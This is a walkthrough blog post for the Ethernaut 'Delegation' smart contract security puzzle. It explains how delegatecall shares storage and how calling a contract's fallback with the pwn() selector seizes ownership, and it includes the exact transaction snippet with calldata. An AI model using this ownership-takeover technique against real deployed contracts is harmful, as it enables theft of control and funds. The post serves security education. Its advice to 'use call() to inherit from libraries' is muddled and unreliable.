Ethernaut Lvl 6 Delegation Walkthrough: How to abuse the delicate delegatecall

This is a in-depth series around Zeppelin team’s smart contract security puzzles. I’ll give you the direct resources and key concepts you’ll need to solve the puzzles 100% on your own.

Nicole Zhu
Coinmonks
Published in
4 min readAug 22, 2018

--

This levels requires you to claim ownership of the instance you are given.

Delegatecall

Delegate call is a special, low level function call intended to invoke functions from another, often library, contract.

The advantage of delegatecall() is that you can preserve your current, calling contract’s context. This context includes its storage and its msg.sender, msg.value attributes.

Quick Note on Storage: Ethereum stores data in storage “slots”, which are these 32 byte sized slots. Every time you save a variable to storage, it automatically occupies the remaining space in the current slot, or the next slot in sequence.

In the following diagram, Contract A makes a delegatecall to Contract B’s saveX() function, which ends up mutating Contract A’s storage. Let’s step through this:

First, Contract A invokes the saveX function via a delegatecall. The delegatecall overrides Contract B’s storage with the storage of the calling contract, akaStorage A.

Next, thesaveX function executes. Notice that originally, Contract B stored bar to storage slot 0. So when this function now makes a reference to variable bar , it once again looks in slot 0.

However, slot 0 is now a reference pointer to foo. Thus foo is set to x. bar remains out of scope and is untouched.

tl:dr: when contract A makes a delegatecall to Contract B, it allows Contract B to freely mutate its storage A.

Evidently, the security risks happen when developers use delegatecall() in an unsafe storage context, or inherits from a malicious library (more on this in a later level).

From Solidity docs: If storage variables are accessed via a low-level delegatecall, the storage layout of the two contracts must align in order for the called contract to correctly access the storage variables of the calling contract by name. This is of course not the case if storage pointers are passed as function arguments as in the case for the high-level libraries.

Now leverage your deeper understanding of delegatecall() to obtain ownership of this level’s contract!

Detailed Walkthrough

  1. Notice Delegation.sol makes a delegatecall to the Library contract Delegate.sol
  2. Notice Delegate.sol has a public function called pwn(), which changes the ownership of a owner variable to whoever invoked the function!
contract Delegate {
address public owner; // Occupies slot 0
...
function pwn() public {
owner = msg.sender; // Save msg.sender to slot 0
}
}

3. Notice slot 0 of your Delegation contract also stores the owner , exactly the variable you wish to change! Furthermore, it seems that if you manage to invoke the fallback function in Delegation.sol to invoke pwn(), you’ll become the calling contract’s owner.

function() public {
if(delegate.delegatecall(msg.data)) {
this;
}
}

4. Remember that in Ethereum, you can invoke a public function by sending data in a transaction. The format is as follows:

contractInstance.call(bytes4(sha3("functionName(inputType)"))

5. Using Remix IDE or the console, invoke Delegation.sol’s fallback function:

// I did so in the console, having already computed
// the bytes4(sha3("pwn()"))
await sendTransaction({
from: "0x1733d5adaccbe8057dba822ea74806361d181654",
to: "0xe3895c413b0035512c029878d1ce4d8702d02320",
data: "0xdd365b8b0000000000000000000000000000000000000000000000000000000000000000"
});

6. await contract.owner() reveals that you are now the owner!

Tip: you can step through the Remix debugger (while in Javascript VM mode) to see how the storage context changes! You can find the storage slots under Remix debugger’s storage fully loaded dropdown.

Congrats, you have now reproduced the core vulnerability behind the $30M Parity hack!

Key Security Takeaways

  • Use the higher level call() function to inherit from libraries, especially when you i) don’t need to change contract storage and ii) do not care about gas control.
  • When inheriting from a library intending to alter your contract’s storage, make sure to line up your storage slots with the library’s storage slots to avoid these edge cases.
  • Authenticate and do conditional checks on functions that invoke delegatecalls.
  • Read solidity documentation on security considerations.

More Levels

Get Best Software Deals Directly In Your Inbox

--

--